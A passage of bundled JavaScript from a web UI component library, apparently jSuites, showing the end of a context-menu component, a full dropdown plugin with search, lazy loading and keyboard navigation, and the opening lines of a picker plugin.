closeButton.addEventListener("click", function (e) { obj.close(); }); header.appendChild(closeButton); return header; } /** * Private function for create a new Item element * @param {type} item * @returns {jsuitesL#15.jSuites.contextmenu.createItemElement.itemContainer} */ function createItemElement(item) { if (item.type && (item.type == 'line' || item.type == 'divisor')) { var itemContainer = document.createElement('hr'); } else { var itemContainer = document.createElement('div'); var itemText = document.createElement('a'); itemText.innerHTML = item.title; if (item.tooltip) { itemContainer.setAttribute('title', item.tooltip); } if (item.icon) { itemContainer.setAttribute('data-icon', item.icon); } if (item.id) { itemContainer.id = item.id; } if (item.disabled) { itemContainer.className = 'jcontextmenu-disabled'; } else if (item.onclick) { itemContainer.method = item.onclick; itemContainer.addEventListener("mousedown", function (e) { e.preventDefault(); }); itemContainer.addEventListener("mouseup", function (e) { // Execute method this.method(this, e); }); } itemContainer.appendChild(itemText); if (item.submenu) { var itemIconSubmenu = document.createElement('span'); itemIconSubmenu.innerHTML = "►"; itemContainer.appendChild(itemIconSubmenu); itemContainer.classList.add('jcontexthassubmenu'); var el_submenu = document.createElement('div'); // Class definition el_submenu.classList.add('jcontextmenu'); // Focusable el_submenu.setAttribute('tabindex', '900'); // Append items var submenu = item.submenu; for (var i = 0; i < submenu.length; i++) { var itemContainerSubMenu = createItemElement(submenu[i]); el_submenu.appendChild(itemContainerSubMenu); } itemContainer.appendChild(el_submenu); } else if (item.shortcut) { var itemShortCut = document.createElement('span'); itemShortCut.innerHTML = item.shortcut; itemContainer.appendChild(itemShortCut); } } return itemContainer; } if (typeof (obj.options.onclick) == 'function') { el.addEventListener('click', function (e) { obj.options.onclick(obj, e); }); } // Create items if (obj.options.items) { obj.create(obj.options.items); } window.addEventListener("mousewheel", function () { obj.close(); }); el.contextmenu = obj; return obj; } return Component; } /* harmony default export */ var contextmenu = (Contextmenu()); ;// CONCATENATED MODULE: ./src/plugins/dropdown.js function Dropdown() { var Component = (function (el, options) { // Already created, update options if (el.dropdown) { return el.dropdown.setOptions(options, true); } // New instance var obj = {type: 'dropdown'}; obj.options = {}; // Success var success = function (data, val) { // Set data if (data && data.length) { // Sort if (obj.options.sortResults !== false) { if (typeof obj.options.sortResults == "function") { data.sort(obj.options.sortResults); } else { data.sort(sortData); } } obj.setData(data); } // Onload method if (typeof (obj.options.onload) == 'function') { obj.options.onload(el, obj, data, val); } // Set value if (val) { applyValue(val); } // Component value if (val === undefined || val === null) { obj.options.value = ''; } el.value = obj.options.value; // Open dropdown if (obj.options.opened == true) { obj.open(); } } // Default sort var sortData = function (itemA, itemB) { var testA, testB; if (typeof itemA == "string") { testA = itemA; } else { if (itemA.text) { testA = itemA.text; } else if (itemA.name) { testA = itemA.name; } } if (typeof itemB == "string") { testB = itemB; } else { if (itemB.text) { testB = itemB.text; } else if (itemB.name) { testB = itemB.name; } } if (typeof testA == "string" || typeof testB == "string") { if (typeof testA != "string") { testA = "" + testA; } if (typeof testB != "string") { testB = "" + testB; } return testA.localeCompare(testB); } else { return testA - testB; } } /** * Reset the options for the dropdown */ var resetValue = function () { // Reset value container obj.value = {}; // Remove selected for (var i = 0; i < obj.items.length; i++) { if (obj.items[i].selected == true) { if (obj.items[i].element) { obj.items[i].element.classList.remove('jdropdown-selected') } obj.items[i].selected = null; } } // Reset options obj.options.value = ''; // Reset value el.value = ''; } /** * Apply values to the dropdown */ var applyValue = function (values) { // Reset the current values resetValue(); // Read values if (values !== null) { if (!values) { if (typeof (obj.value['']) !== 'undefined') { obj.value[''] = ''; } } else { if (!Array.isArray(values)) { values = ('' + values).split(';'); } for (var i = 0; i < values.length; i++) { obj.value[values[i]] = ''; } } } // Update the DOM for (var i = 0; i < obj.items.length; i++) { if (typeof (obj.value[Value(i)]) !== 'undefined') { if (obj.items[i].element) { obj.items[i].element.classList.add('jdropdown-selected') } obj.items[i].selected = true; // Keep label obj.value[Value(i)] = Text(i); } } // Global value obj.options.value = Object.keys(obj.value).join(';'); // Update labels obj.header.value = obj.getText(); } // Get the value of one item var Value = function (k, v) { // Legacy purposes if (!obj.options.format) { var property = 'value'; } else { var property = 'id'; } if (obj.items[k]) { if (v !== undefined) { return obj.items[k].data[property] = v; } else { return obj.items[k].data[property]; } } return ''; } // Get the label of one item var Text = function (k, v) { // Legacy purposes if (!obj.options.format) { var property = 'text'; } else { var property = 'name'; } if (obj.items[k]) { if (v !== undefined) { return obj.items[k].data[property] = v; } else { return obj.items[k].data[property]; } } return ''; } var getValue = function () { return Object.keys(obj.value); } var getText = function () { var data = []; var k = Object.keys(obj.value); for (var i = 0; i < k.length; i++) { data.push(obj.value[k[i]]); } return data; } obj.setOptions = function (options, reset) { if (!options) { options = {}; } // Default configuration var defaults = { url: null, data: [], format: 0, multiple: false, autocomplete: false, remoteSearch: false, lazyLoading: false, type: null, width: null, maxWidth: null, opened: false, value: null, placeholder: '', newOptions: false, position: false, onchange: null, onload: null, onopen: null, onclose: null, onfocus: null, onblur: null, oninsert: null, onbeforeinsert: null, onsearch: null, onbeforesearch: null, sortResults: false, autofocus: false, } // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { if (typeof (obj.options[property]) == 'undefined' || reset === true) { obj.options[property] = defaults[property]; } } } // Force autocomplete search if (obj.options.remoteSearch == true || obj.options.type === 'searchbar') { obj.options.autocomplete = true; } // New options if (obj.options.newOptions == true) { obj.header.classList.add('jdropdown-add'); } else { obj.header.classList.remove('jdropdown-add'); } // Autocomplete if (obj.options.autocomplete == true) { obj.header.removeAttribute('readonly'); } else { obj.header.setAttribute('readonly', 'readonly'); } // Place holder if (obj.options.placeholder) { obj.header.setAttribute('placeholder', obj.options.placeholder); } else { obj.header.removeAttribute('placeholder'); } // Remove specific dropdown typing to add again el.classList.remove('jdropdown-searchbar'); el.classList.remove('jdropdown-picker'); el.classList.remove('jdropdown-list'); if (obj.options.type == 'searchbar') { el.classList.add('jdropdown-searchbar'); } else if (obj.options.type == 'list') { el.classList.add('jdropdown-list'); } else if (obj.options.type == 'picker') { el.classList.add('jdropdown-picker'); } else { if (helpers.getWindowWidth() < 800) { if (obj.options.autocomplete) { el.classList.add('jdropdown-searchbar'); obj.options.type = 'searchbar'; } else { el.classList.add('jdropdown-picker'); obj.options.type = 'picker'; } } else { if (obj.options.width) { el.style.width = obj.options.width; el.style.minWidth = obj.options.width; } else { el.style.removeProperty('width'); el.style.removeProperty('min-width'); } el.classList.add('jdropdown-default'); obj.options.type = 'default'; } } // Close button if (obj.options.type == 'searchbar') { containerHeader.appendChild(closeButton); } else { container.insertBefore(closeButton, container.firstChild); } // Load the content if (obj.options.url && !options.data) { ajax({ url: obj.options.url, method: 'GET', dataType: 'json', success: function (data) { if (data) { success(data, obj.options.value); } } }); } else { success(obj.options.data, obj.options.value); } // Return the instance return obj; } // Helpers var containerHeader = null; var container = null; var content = null; var closeButton = null; var resetButton = null; var backdrop = null; var keyTimer = null; /** * Init dropdown */ var init = function () { // Do not accept null if (!options) { options = {}; } // If the element is a SELECT tag, create a configuration object if (el.tagName == 'SELECT') { var ret = Component.extractFromDom(el, options); el = ret.el; options = ret.options; } // Place holder if (!options.placeholder && el.getAttribute('placeholder')) { options.placeholder = el.getAttribute('placeholder'); } // Value container obj.value = {}; // Containers obj.items = []; obj.groups = []; // Search options obj.search = ''; obj.results = null; // Create dropdown el.classList.add('jdropdown'); // Header container containerHeader = document.createElement('div'); containerHeader.className = 'jdropdown-container-header'; // Header obj.header = document.createElement('input'); obj.header.className = 'jdropdown-header jss_object'; obj.header.type = 'text'; obj.header.setAttribute('autocomplete', 'off'); obj.header.onfocus = function () { if (typeof (obj.options.onfocus) == 'function') { obj.options.onfocus(el); } } obj.header.onblur = function () { if (typeof (obj.options.onblur) == 'function') { obj.options.onblur(el); } } obj.header.onkeyup = function (e) { if (obj.options.autocomplete == true && !keyTimer) { if (obj.search != obj.header.value.trim()) { keyTimer = setTimeout(function () { obj.find(obj.header.value.trim()); keyTimer = null; }, 400); } if (!el.classList.contains('jdropdown-focus')) { obj.open(); } } else { if (!obj.options.autocomplete) { obj.next(e.key); } } } // Global controls if (!Component.hasEvents) { // Execute only one time Component.hasEvents = true; // Enter and Esc document.addEventListener("keydown", Component.keydown); } // Container container = document.createElement('div'); container.className = 'jdropdown-container'; // Dropdown content content = document.createElement('div'); content.className = 'jdropdown-content'; // Close button closeButton = document.createElement('div'); closeButton.className = 'jdropdown-close'; closeButton.textContent = 'Done'; // Reset button resetButton = document.createElement('div'); resetButton.className = 'jdropdown-reset'; resetButton.textContent = 'x'; resetButton.onclick = function () { obj.reset(); obj.close(); } // Create backdrop backdrop = document.createElement('div'); backdrop.className = 'jdropdown-backdrop'; // Append elements containerHeader.appendChild(obj.header); container.appendChild(content); el.appendChild(containerHeader); el.appendChild(container); el.appendChild(backdrop); // Set the otiptions obj.setOptions(options); if ('ontouchsend' in document.documentElement === true) { el.addEventListener('touchsend', Component.mouseup); } else { el.addEventListener('mouseup', Component.mouseup); } // Lazyloading if (obj.options.lazyLoading == true) { LazyLoading(content, { loadUp: obj.loadUp, loadDown: obj.loadDown, }); } content.onwheel = function (e) { e.stopPropagation(); } // Change method el.change = obj.setValue; // Global generic value handler el.val = function (val) { if (val === undefined) { return obj.getValue(obj.options.multiple ? true : false); } else { obj.setValue(val); } } // Keep object available from the node el.dropdown = obj; } /** * Get the current remote source of data URL */ obj.getUrl = function () { return obj.options.url; } /** * Set the new data from a remote source * @param {string} url - url from the remote source * @param {function} callback - callback when the data is loaded */ obj.setUrl = function (url, callback) { obj.options.url = url; ajax({ url: obj.options.url, method: 'GET', dataType: 'json', success: function (data) { obj.setData(data); // Callback if (typeof (callback) == 'function') { callback(obj); } } }); } /** * Set ID for one item */ obj.setId = function (item, v) { // Legacy purposes if (!obj.options.format) { var property = 'value'; } else { var property = 'id'; } if (typeof (item) == 'object') { item[property] = v; } else { obj.items[item].data[property] = v; } } /** * Add a new item * @param {string} title - title of the new item * @param {string} id - value/id of the new item */ obj.add = function (title, id) { if (!title) { var current = obj.options.autocomplete == true ? obj.header.value : ''; var title = prompt(dictionary.translate('Add A New Option'), current); if (!title) { return false; } } // Id if (!id) { id = helpers.guid(); } // Create new item if (!obj.options.format) { var item = { value: id, text: title, } } else { var item = { id: id, name: title, } } // Callback if (typeof (obj.options.onbeforeinsert) == 'function') { var ret = obj.options.onbeforeinsert(obj, item); if (ret === false) { return false; } else if (ret) { item = ret; } } // Add item to the main list obj.options.data.push(item); // Create DOM var newItem = obj.createItem(item); // Append DOM to the list content.appendChild(newItem.element); // Callback if (typeof (obj.options.oninsert) == 'function') { obj.options.oninsert(obj, item, newItem); } // Show content if (content.style.display == 'none') { content.style.display = ''; } // Search? if (obj.results) { obj.results.push(newItem); } return item; } /** * Create a new item */ obj.createItem = function (data, group, groupName) { // Keep the correct source of data if (!obj.options.format) { if (!data.value && data.id !== undefined) { data.value = data.id; //delete data.id; } if (!data.text && data.name !== undefined) { data.text = data.name; //delete data.name; } } else { if (!data.id && data.value !== undefined) { data.id = data.value; //delete data.value; } if (!data.name && data.text !== undefined) { data.name = data.text //delete data.text; } } // Create item var item = {}; item.element = document.createElement('div'); item.element.className = 'jdropdown-item'; item.element.indexValue = obj.items.length; item.data = data; // Groupd DOM if (group) { item.group = group; } // Id if (data.id) { item.element.setAttribute('id', data.id); } // Disabled if (data.disabled == true) { item.element.setAttribute('data-disabled', true); } // Tooltip if (data.tooltip) { item.element.setAttribute('title', data.tooltip); } // Image if (data.image) { var image = document.createElement('img'); image.className = 'jdropdown-image'; image.src = data.image; if (!data.title) { image.classList.add('jdropdown-image-small'); } item.element.appendChild(image); } else if (data.icon) { var icon = document.createElement('span'); icon.className = "jdropdown-icon material-icons"; icon.innerText = data.icon; if (!data.title) { icon.classList.add('jdropdown-icon-small'); } if (data.color) { icon.style.color = data.color; } item.element.appendChild(icon); } else if (data.color) { var color = document.createElement('div'); color.className = 'jdropdown-color'; color.style.backgroundColor = data.color; item.element.appendChild(color); } // Set content if (!obj.options.format) { var text = data.text; } else { var text = data.name; } var node = document.createElement('div'); node.className = 'jdropdown-description'; node.textContent = text || ' '; // Title if (data.title) { var title = document.createElement('div'); title.className = 'jdropdown-title'; title.innerText = data.title; node.appendChild(title); } // Set content if (!obj.options.format) { var val = data.value; } else { var val = data.id; } // Value if (obj.value[val]) { item.element.classList.add('jdropdown-selected'); item.selected = true; } // Keep DOM accessible obj.items.push(item); // Add node to item item.element.appendChild(node); return item; } obj.appendData = function (data) { // Create elements if (data.length) { // Helpers var items = []; var groups = []; // Prepare data for (var i = 0; i < data.length; i++) { // Process groups if (data[i].group) { if (!groups[data[i].group]) { groups[data[i].group] = []; } groups[data[i].group].push(i); } else { items.push(i); } } // Number of items counter var counter = 0; // Groups var groupNames = Object.keys(groups); // Append groups in case exists if (groupNames.length > 0) { for (var i = 0; i < groupNames.length; i++) { // Group container var group = document.createElement('div'); group.className = 'jdropdown-group'; // Group name var groupName = document.createElement('div'); groupName.className = 'jdropdown-group-name'; groupName.textContent = groupNames[i]; // Group arrow var groupArrow = document.createElement('i'); groupArrow.className = 'jdropdown-group-arrow jdropdown-group-arrow-down'; groupName.appendChild(groupArrow); // Group items var groupContent = document.createElement('div'); groupContent.className = 'jdropdown-group-items'; for (var j = 0; j < groups[groupNames[i]].length; j++) { var item = obj.createItem(data[groups[groupNames[i]][j]], group, groupNames[i]); if (obj.options.lazyLoading == false || counter < 200) { groupContent.appendChild(item.element); counter++; } } // Group itens group.appendChild(groupName); group.appendChild(groupContent); // Keep group DOM obj.groups.push(group); // Only add to the screen if children on the group if (groupContent.children.length > 0) { // Add DOM to the content content.appendChild(group); } } } if (items.length) { for (var i = 0; i < items.length; i++) { var item = obj.createItem(data[items[i]]); if (obj.options.lazyLoading == false || counter < 200) { content.appendChild(item.element); counter++; } } } } } obj.setData = function (data) { // Reset current value resetValue(); // Make sure the content container is blank content.textContent = ''; // Reset obj.header.value = ''; // Reset items and values obj.items = []; // Prepare data if (data && data.length) { for (var i = 0; i < data.length; i++) { // Compatibility if (typeof (data[i]) != 'object') { // Correct format if (!obj.options.format) { data[i] = { value: data[i], text: data[i] } } else { data[i] = { id: data[i], name: data[i] } } } } // Append data obj.appendData(data); // Update data obj.options.data = data; } else { // Update data obj.options.data = []; } obj.close(); } obj.getData = function () { return obj.options.data; } /** * Get position of the item */ obj.getPosition = function (val) { for (var i = 0; i < obj.items.length; i++) { if (Value(i) == val) { return i; } } return false; } /** * Get dropdown current text */ obj.getText = function (asArray) { // Get value var v = getText(); // Return value if (asArray) { return v; } else { return v.join('; '); } } /** * Get dropdown current value */ obj.getValue = function (asArray) { // Get value var v = getValue(); // Return value if (asArray) { return v; } else { return v.join(';'); } } /** * Change event */ var change = function (oldValue) { // Lemonade JS if (el.value != obj.options.value) { el.value = obj.options.value; if (typeof (el.oninput) == 'function') { el.oninput({ type: 'input', target: el, value: el.value }); } } // Events if (typeof (obj.options.onchange) == 'function') { obj.options.onchange(el, obj, oldValue, obj.options.value); } } /** * Set value */ obj.setValue = function (newValue) { // Current value var oldValue = obj.getValue(); // New value if (Array.isArray(newValue)) { newValue = newValue.join(';') } if (oldValue !== newValue) { // Set value applyValue(newValue); // Change change(oldValue); } } obj.resetSelected = function () { obj.setValue(null); } obj.selectIndex = function (index, force) { // Make sure is a number var index = parseInt(index); // Only select those existing elements if (obj.items && obj.items[index] && (force === true || obj.items[index].data.disabled !== true)) { // Reset cursor to a new position obj.setCursor(index, false); // Behaviour if (!obj.options.multiple) { // Update value if (obj.items[index].selected) { obj.setValue(null); } else { obj.setValue(Value(index)); } // Close component obj.close(); } else { // Old value var oldValue = obj.options.value; // Toggle option if (obj.items[index].selected) { obj.items[index].element.classList.remove('jdropdown-selected'); obj.items[index].selected = false; delete obj.value[Value(index)]; } else { // Select element obj.items[index].element.classList.add('jdropdown-selected'); obj.items[index].selected = true; // Set value obj.value[Value(index)] = Text(index); } // Global value obj.options.value = Object.keys(obj.value).join(';'); // Update labels for multiple dropdown if (obj.options.autocomplete == false) { obj.header.value = getText().join('; '); } // Events change(oldValue); } } } obj.selectItem = function (item) { obj.selectIndex(item.indexValue); } var exists = function (k, result) { for (var j = 0; j < result.length; j++) { if (!obj.options.format) { if (result[j].value == k) { return true; } } else { if (result[j].id == k) { return true; } } } return false; } obj.find = function (str) { if (obj.search == str.trim()) { return false; } // Search term obj.search = str; // Reset index obj.setCursor(); // Remove nodes from all groups if (obj.groups.length) { for (var i = 0; i < obj.groups.length; i++) { obj.groups[i].lastChild.textContent = ''; } } // Remove all nodes content.textContent = ''; // Remove current items in the remote search if (obj.options.remoteSearch == true) { // Reset results obj.results = null; // URL var url = obj.options.url; // Ajax call let o = { url: url, method: 'GET', data: { q: str }, dataType: 'json', success: function (result) { // Reset items obj.items = []; // Add the current selected items to the results in case they are not there var current = Object.keys(obj.value); if (current.length) { for (var i = 0; i < current.length; i++) { if (!exists(current[i], result)) { if (!obj.options.format) { result.unshift({value: current[i], text: obj.value[current[i]]}); } else { result.unshift({id: current[i], name: obj.value[current[i]]}); } } } } // Append data obj.appendData(result); // Show or hide results if (!result.length) { content.style.display = 'none'; } else { content.style.display = ''; } if (typeof(obj.options.onsearch) === 'function') { obj.options.onsearch(obj, result); } } } if (typeof(obj.options.onbeforesearch) === 'function') { let ret = obj.options.onbeforesearch(obj, o); if (ret === false) { return; } else if (typeof(ret) === 'object') { o = ret; } } // Remote search ajax(o); } else { // Search terms str = new RegExp(str, 'gi'); // Reset search var results = []; // Append options for (var i = 0; i < obj.items.length; i++) { // Item label var label = Text(i); // Item title var title = obj.items[i].data.title || ''; // Group name var groupName = obj.items[i].data.group || ''; // Synonym var synonym = obj.items[i].data.synonym || ''; if (synonym) { synonym = synonym.join(' '); } if (str == null || obj.items[i].selected == true || label.match(str) || title.match(str) || groupName.match(str) || synonym.match(str)) { results.push(obj.items[i]); } } if (!results.length) { content.style.display = 'none'; // Results obj.results = null; } else { content.style.display = ''; // Results obj.results = results; // Show 200 items at once var number = results.length || 0; // Lazyloading if (obj.options.lazyLoading == true && number > 200) { number = 200; } for (var i = 0; i < number; i++) { if (obj.results[i].group) { if (!obj.results[i].group.parentNode) { content.appendChild(obj.results[i].group); } obj.results[i].group.lastChild.appendChild(obj.results[i].element); } else { content.appendChild(obj.results[i].element); } } } } // Auto focus if (obj.options.autofocus == true) { obj.first(); } } obj.open = function () { // Focus if (!el.classList.contains('jdropdown-focus')) { // Current dropdown Component.current = obj; // Start tracking Tracking(obj, true); // Add focus el.classList.add('jdropdown-focus'); // Animation if (helpers.getWindowWidth() < 800) { if (obj.options.type == null || obj.options.type == 'picker') { animation.slideBottom(container, 1); } } // Filter if (obj.options.autocomplete == true) { obj.header.value = obj.search; obj.header.focus(); } // Set cursor for the first or first selected element var k = getValue(); if (k[0]) { var cursor = obj.getPosition(k[0]); if (cursor !== false) { obj.setCursor(cursor); } } // Container Size if (!obj.options.type || obj.options.type == 'default') { var rect = el.getBoundingClientRect(); var rectContainer = container.getBoundingClientRect(); if (obj.options.position) { container.style.position = 'fixed'; if (window.innerHeight < rect.bottom + rectContainer.height) { container.style.top = ''; container.style.bottom = (window.innerHeight - rect.top) + 1 + 'px'; } else { container.style.top = rect.bottom + 'px'; container.style.bottom = ''; } container.style.left = rect.left + 'px'; } else { if (window.innerHeight < rect.bottom + rectContainer.height) { container.style.top = ''; container.style.bottom = rect.height + 1 + 'px'; } else { container.style.top = ''; container.style.bottom = ''; } } container.style.minWidth = rect.width + 'px'; if (obj.options.maxWidth) { container.style.maxWidth = obj.options.maxWidth; } if (!obj.items.length && obj.options.autocomplete == true) { content.style.display = 'none'; } else { content.style.display = ''; } } } // Events if (typeof (obj.options.onopen) == 'function') { obj.options.onopen(el); } } obj.close = function (ignoreEvents) { if (el.classList.contains('jdropdown-focus')) { // Update labels obj.header.value = obj.getText(); // Remove cursor obj.setCursor(); // Events if (!ignoreEvents && typeof (obj.options.onclose) == 'function') { obj.options.onclose(el); } // Blur if (obj.header.blur) { obj.header.blur(); } // Remove focus el.classList.remove('jdropdown-focus'); // Start tracking Tracking(obj, false); // Current dropdown Component.current = null; } return obj.getValue(); } /** * Set cursor */ obj.setCursor = function (index, setPosition) { // Remove current cursor if (obj.currentIndex != null) { // Remove visual cursor if (obj.items && obj.items[obj.currentIndex]) { obj.items[obj.currentIndex].element.classList.remove('jdropdown-cursor'); } } if (index == undefined) { obj.currentIndex = null; } else { index = parseInt(index); // Cursor only for visible items if (obj.items[index].element.parentNode) { obj.items[index].element.classList.add('jdropdown-cursor'); obj.currentIndex = index; // Update scroll to the cursor element if (setPosition !== false && obj.items[obj.currentIndex].element) { var container = content.scrollTop; var element = obj.items[obj.currentIndex].element; content.scrollTop = element.offsetTop - element.scrollTop + element.clientTop - 95; } } } } // Compatibility obj.resetCursor = obj.setCursor; obj.updateCursor = obj.setCursor; /** * Reset cursor and selected items */ obj.reset = function () { // Reset cursor obj.setCursor(); // Reset selected obj.setValue(null); } /** * First available item */ obj.first = function () { if (obj.options.lazyLoading === true) { obj.loadFirst(); } var items = content.querySelectorAll('.jdropdown-item'); if (items.length) { var newIndex = items[0].indexValue; obj.setCursor(newIndex); } } /** * Last available item */ obj.last = function () { if (obj.options.lazyLoading === true) { obj.loadLast(); } var items = content.querySelectorAll('.jdropdown-item'); if (items.length) { var newIndex = items[items.length - 1].indexValue; obj.setCursor(newIndex); } } obj.next = function (letter) { var newIndex = null; if (letter) { if (letter.length == 1) { // Current index var current = obj.currentIndex || -1; // Letter letter = letter.toLowerCase(); var e = null; var l = null; var items = content.querySelectorAll('.jdropdown-item'); if (items.length) { for (var i = 0; i < items.length; i++) { if (items[i].indexValue > current) { if (e = obj.items[items[i].indexValue]) { if (l = e.element.innerText[0]) { l = l.toLowerCase(); if (letter == l) { newIndex = items[i].indexValue; break; } } } } } obj.setCursor(newIndex); } } } else { if (obj.currentIndex == undefined || obj.currentIndex == null) { obj.first(); } else { var element = obj.items[obj.currentIndex].element; var next = element.nextElementSibling; if (next) { if (next.classList.contains('jdropdown-group')) { next = next.lastChild.firstChild; } newIndex = next.indexValue; } else { if (element.parentNode.classList.contains('jdropdown-group-items')) { if (next = element.parentNode.parentNode.nextElementSibling) { if (next.classList.contains('jdropdown-group')) { next = next.lastChild.firstChild; } else if (next.classList.contains('jdropdown-item')) { newIndex = next.indexValue; } else { next = null; } } if (next) { newIndex = next.indexValue; } } } if (newIndex !== null) { obj.setCursor(newIndex); } } } } obj.prev = function () { var newIndex = null; if (obj.currentIndex === null) { obj.first(); } else { var element = obj.items[obj.currentIndex].element; var prev = element.previousElementSibling; if (prev) { if (prev.classList.contains('jdropdown-group')) { prev = prev.lastChild.lastChild; } newIndex = prev.indexValue; } else { if (element.parentNode.classList.contains('jdropdown-group-items')) { if (prev = element.parentNode.parentNode.previousElementSibling) { if (prev.classList.contains('jdropdown-group')) { prev = prev.lastChild.lastChild; } else if (prev.classList.contains('jdropdown-item')) { newIndex = prev.indexValue; } else { prev = null } } if (prev) { newIndex = prev.indexValue; } } } } if (newIndex !== null) { obj.setCursor(newIndex); } } obj.loadFirst = function () { // Search if (obj.results) { var results = obj.results; } else { var results = obj.items; } // Show 200 items at once var number = results.length || 0; // Lazyloading if (obj.options.lazyLoading == true && number > 200) { number = 200; } // Reset container content.textContent = ''; // First 200 items for (var i = 0; i < number; i++) { if (results[i].group) { if (!results[i].group.parentNode) { content.appendChild(results[i].group); } results[i].group.lastChild.appendChild(results[i].element); } else { content.appendChild(results[i].element); } } // Scroll go to the begin content.scrollTop = 0; } obj.loadLast = function () { // Search if (obj.results) { var results = obj.results; } else { var results = obj.items; } // Show first page var number = results.length; // Max 200 items if (number > 200) { number = number - 200; // Reset container content.textContent = ''; // First 200 items for (var i = number; i < results.length; i++) { if (results[i].group) { if (!results[i].group.parentNode) { content.appendChild(results[i].group); } results[i].group.lastChild.appendChild(results[i].element); } else { content.appendChild(results[i].element); } } // Scroll go to the begin content.scrollTop = content.scrollHeight; } } obj.loadUp = function () { var test = false; // Search if (obj.results) { var results = obj.results; } else { var results = obj.items; } var items = content.querySelectorAll('.jdropdown-item'); var fistItem = items[0].indexValue; fistItem = obj.items[fistItem]; var index = results.indexOf(fistItem) - 1; if (index > 0) { var number = 0; while (index > 0 && results[index] && number < 200) { if (results[index].group) { if (!results[index].group.parentNode) { content.insertBefore(results[index].group, content.firstChild); } results[index].group.lastChild.insertBefore(results[index].element, results[index].group.lastChild.firstChild); } else { content.insertBefore(results[index].element, content.firstChild); } index--; number++; } // New item added test = true; } return test; } obj.loadDown = function () { var test = false; // Search if (obj.results) { var results = obj.results; } else { var results = obj.items; } var items = content.querySelectorAll('.jdropdown-item'); var lastItem = items[items.length - 1].indexValue; lastItem = obj.items[lastItem]; var index = results.indexOf(lastItem) + 1; if (index < results.length) { var number = 0; while (index < results.length && results[index] && number < 200) { if (results[index].group) { if (!results[index].group.parentNode) { content.appendChild(results[index].group); } results[index].group.lastChild.appendChild(results[index].element); } else { content.appendChild(results[index].element); } index++; number++; } // New item added test = true; } return test; } init(); return obj; }); Component.keydown = function (e) { var dropdown = null; if (dropdown = Component.current) { if (e.which == 13 || e.which == 9) { // enter or tab if (dropdown.header.value && dropdown.currentIndex == null && dropdown.options.newOptions) { // if they typed something in, but it matched nothing, and newOptions are allowed, start that flow dropdown.add(); } else { // Quick Select/Filter if (dropdown.currentIndex == null && dropdown.options.autocomplete == true && dropdown.header.value != "") { dropdown.find(dropdown.header.value); } dropdown.selectIndex(dropdown.currentIndex); } } else if (e.which == 38) { // up arrow if (dropdown.currentIndex == null) { dropdown.first(); } else if (dropdown.currentIndex > 0) { dropdown.prev(); } e.preventDefault(); } else if (e.which == 40) { // down arrow if (dropdown.currentIndex == null) { dropdown.first(); } else if (dropdown.currentIndex + 1 < dropdown.items.length) { dropdown.next(); } e.preventDefault(); } else if (e.which == 36) { dropdown.first(); if (!e.target.classList.contains('jdropdown-header')) { e.preventDefault(); } } else if (e.which == 35) { dropdown.last(); if (!e.target.classList.contains('jdropdown-header')) { e.preventDefault(); } } else if (e.which == 27) { dropdown.close(); } else if (e.which == 33) { // page up if (dropdown.currentIndex == null) { dropdown.first(); } else if (dropdown.currentIndex > 0) { for (var i = 0; i < 7; i++) { dropdown.prev() } } e.preventDefault(); } else if (e.which == 34) { // page down if (dropdown.currentIndex == null) { dropdown.first(); } else if (dropdown.currentIndex + 1 < dropdown.items.length) { for (var i = 0; i < 7; i++) { dropdown.next() } } e.preventDefault(); } } } Component.mouseup = function (e) { var element = helpers.findElement(e.target, 'jdropdown'); if (element) { var dropdown = element.dropdown; if (e.target.classList.contains('jdropdown-header')) { if (element.classList.contains('jdropdown-focus') && element.classList.contains('jdropdown-default')) { var rect = element.getBoundingClientRect(); if (e.changedTouches && e.changedTouches[0]) { var x = e.changedTouches[0].clientX; var y = e.changedTouches[0].clientY; } else { var x = e.clientX; var y = e.clientY; } if (rect.width - (x - rect.left) < 30) { if (e.target.classList.contains('jdropdown-add')) { dropdown.add(); } else { dropdown.close(); } } else { if (dropdown.options.autocomplete == false) { dropdown.close(); } } } else { dropdown.open(); } } else if (e.target.classList.contains('jdropdown-group-name')) { var items = e.target.nextSibling.children; if (e.target.nextSibling.style.display != 'none') { for (var i = 0; i < items.length; i++) { if (items[i].style.display != 'none') { dropdown.selectItem(items[i]); } } } } else if (e.target.classList.contains('jdropdown-group-arrow')) { if (e.target.classList.contains('jdropdown-group-arrow-down')) { e.target.classList.remove('jdropdown-group-arrow-down'); e.target.classList.add('jdropdown-group-arrow-up'); e.target.parentNode.nextSibling.style.display = 'none'; } else { e.target.classList.remove('jdropdown-group-arrow-up'); e.target.classList.add('jdropdown-group-arrow-down'); e.target.parentNode.nextSibling.style.display = ''; } } else if (e.target.classList.contains('jdropdown-item')) { dropdown.selectItem(e.target); } else if (e.target.classList.contains('jdropdown-image')) { dropdown.selectItem(e.target.parentNode); } else if (e.target.classList.contains('jdropdown-description')) { dropdown.selectItem(e.target.parentNode); } else if (e.target.classList.contains('jdropdown-title')) { dropdown.selectItem(e.target.parentNode.parentNode); } else if (e.target.classList.contains('jdropdown-close') || e.target.classList.contains('jdropdown-backdrop')) { dropdown.close(); } } } Component.extractFromDom = function (el, options) { // Keep reference var select = el; if (!options) { options = {}; } // Prepare configuration if (el.getAttribute('multiple') && (!options || options.multiple == undefined)) { options.multiple = true; } if (el.getAttribute('placeholder') && (!options || options.placeholder == undefined)) { options.placeholder = el.getAttribute('placeholder'); } if (el.getAttribute('data-autocomplete') && (!options || options.autocomplete == undefined)) { options.autocomplete = true; } if (!options || options.width == undefined) { options.width = el.offsetWidth; } if (el.value && (!options || options.value == undefined)) { options.value = el.value; } if (!options || options.data == undefined) { options.data = []; for (var j = 0; j < el.children.length; j++) { if (el.children[j].tagName == 'OPTGROUP') { for (var i = 0; i < el.children[j].children.length; i++) { options.data.push({ value: el.children[j].children[i].value, text: el.children[j].children[i].textContent, group: el.children[j].getAttribute('label'), }); } } else { options.data.push({ value: el.children[j].value, text: el.children[j].textContent, }); } } } if (!options || options.onchange == undefined) { options.onchange = function (a, b, c, d) { if (options.multiple == true) { if (obj.items[b].classList.contains('jdropdown-selected')) { select.options[b].setAttribute('selected', 'selected'); } else { select.options[b].removeAttribute('selected'); } } else { select.value = d; } } } // Create DIV var div = document.createElement('div'); el.parentNode.insertBefore(div, el); el.style.display = 'none'; el = div; return {el: el, options: options}; } return Component; } /* harmony default export */ var dropdown = (Dropdown()); ;// CONCATENATED MODULE: ./src/plugins/picker.js function Picker(el, options) { // Already created, update options if (el.picker) { return el.picker.setOptions(options, true); } // New instance var obj = { type: 'picker' }; obj.options = {}; var dropdownHeader = null; var dropdownContent = null; /** * 